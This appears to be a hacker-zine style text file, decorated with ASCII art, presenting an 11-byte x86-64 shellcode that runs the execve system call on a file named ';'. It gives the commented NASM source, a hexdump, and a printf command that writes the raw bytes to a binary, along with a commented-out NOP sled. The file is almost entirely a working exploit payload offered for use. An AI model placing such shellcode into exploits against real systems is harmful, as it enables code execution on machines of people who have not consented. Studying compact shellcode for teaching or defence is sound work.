48                                                                            41
 .-.   .-.   _.___.   .-.   .-'                    .-.   .-.    /^     .-.   .-'
(  |   |    ( |      (   \ /                      (  |   |     / |    (   \ /   
   |---|      |--'       /^\        ___,  ,  ,       |---|    /__|__,     /^\   
  _|   |_,   _|___,    _/   \_,    ( |_)  \_/       _|   |_,    _|      _/   \_,
 (          (         (              |__)  /       (           (       (        
43                                  (     (                                   4b
                                                                                
             o--)(=======-  CONSTANT DESIRE TO EXPLORE  -=======|-*             
                                                                                




                                     [___]                                      
                                      \@/                                       
                                 o.    @    .o                                  
                                   )ooo@ooo(                                    
                                 o'   @ @   `o                                  
                                     @...@                                      
                                 .o'@'''''@'o.                                  
                              .o'' @       @ ``o.                               
                       .o'  .o'   @         @   `o.  `o.                        
                      .o   .o      @@@@@@@@@      o.   o.                       
                      o'   o'  0)-------------(0  `o   `o                       
                     .:   .:     @@@@@@^@@@@@@     :.   :.                      
                     ::   ::          / \          ::   ::                      
                     `:   `:        .@   @.        :'   :'                      
                      o.   o.      .@'   '@.       o    o                       
                      `o   `o     .@'@   @'@.     o'   o'                       
                       `o   `o.  .@'  `@'  '@. .o'   o'                         
                         `    `o.@'    '    '@.'    '                           
                               .@'o........o^'@.                                
                              .@'    ''''     '@.                               
                              @:@:@:@:@:@:@:@:@:@                               



|=--------------------[ x86-64 intel assembly (nasm) ]------------------------=|


BITS 64                                                                         
DEFAULT REL                                                                     

;; NOP SLED                                                                     
;times 0x800 nop                                                                

; 59   execve (<rdi> const char *filename,                                       
;              <rsi> const char *const argv[],                                   
;              <rdx> const char *const envp[])                                   

xor esi, esi  ; [arg2]    argv = NULL                                           
mul esi       ; [arg3]    envp = NULL  (EDX:EAX = EAX*ESI -> RAX=RDX=RSI=0)     
mov al, 59    ; [syscall] execve(2) and ASCII char ';'                          
push rax                                                                        
push rsp                                                                        
pop rdi       ; [arg1]    filename = & STACK = & ";"                            
syscall                                                                         


|=--------------------------------[ Hexdump ]---------------------------------=|


00000000: 31f6 f7e6 b03b 5054 5f0f 05              1....;PT_..                  


|=-------------------------------[ Hex string ]-------------------------------=|


printf '1\xf6\xf7\xe6\xb0;PT_\x0f\x05' > ./execve.bin                        


|=----------------------------------------------------------------------------=|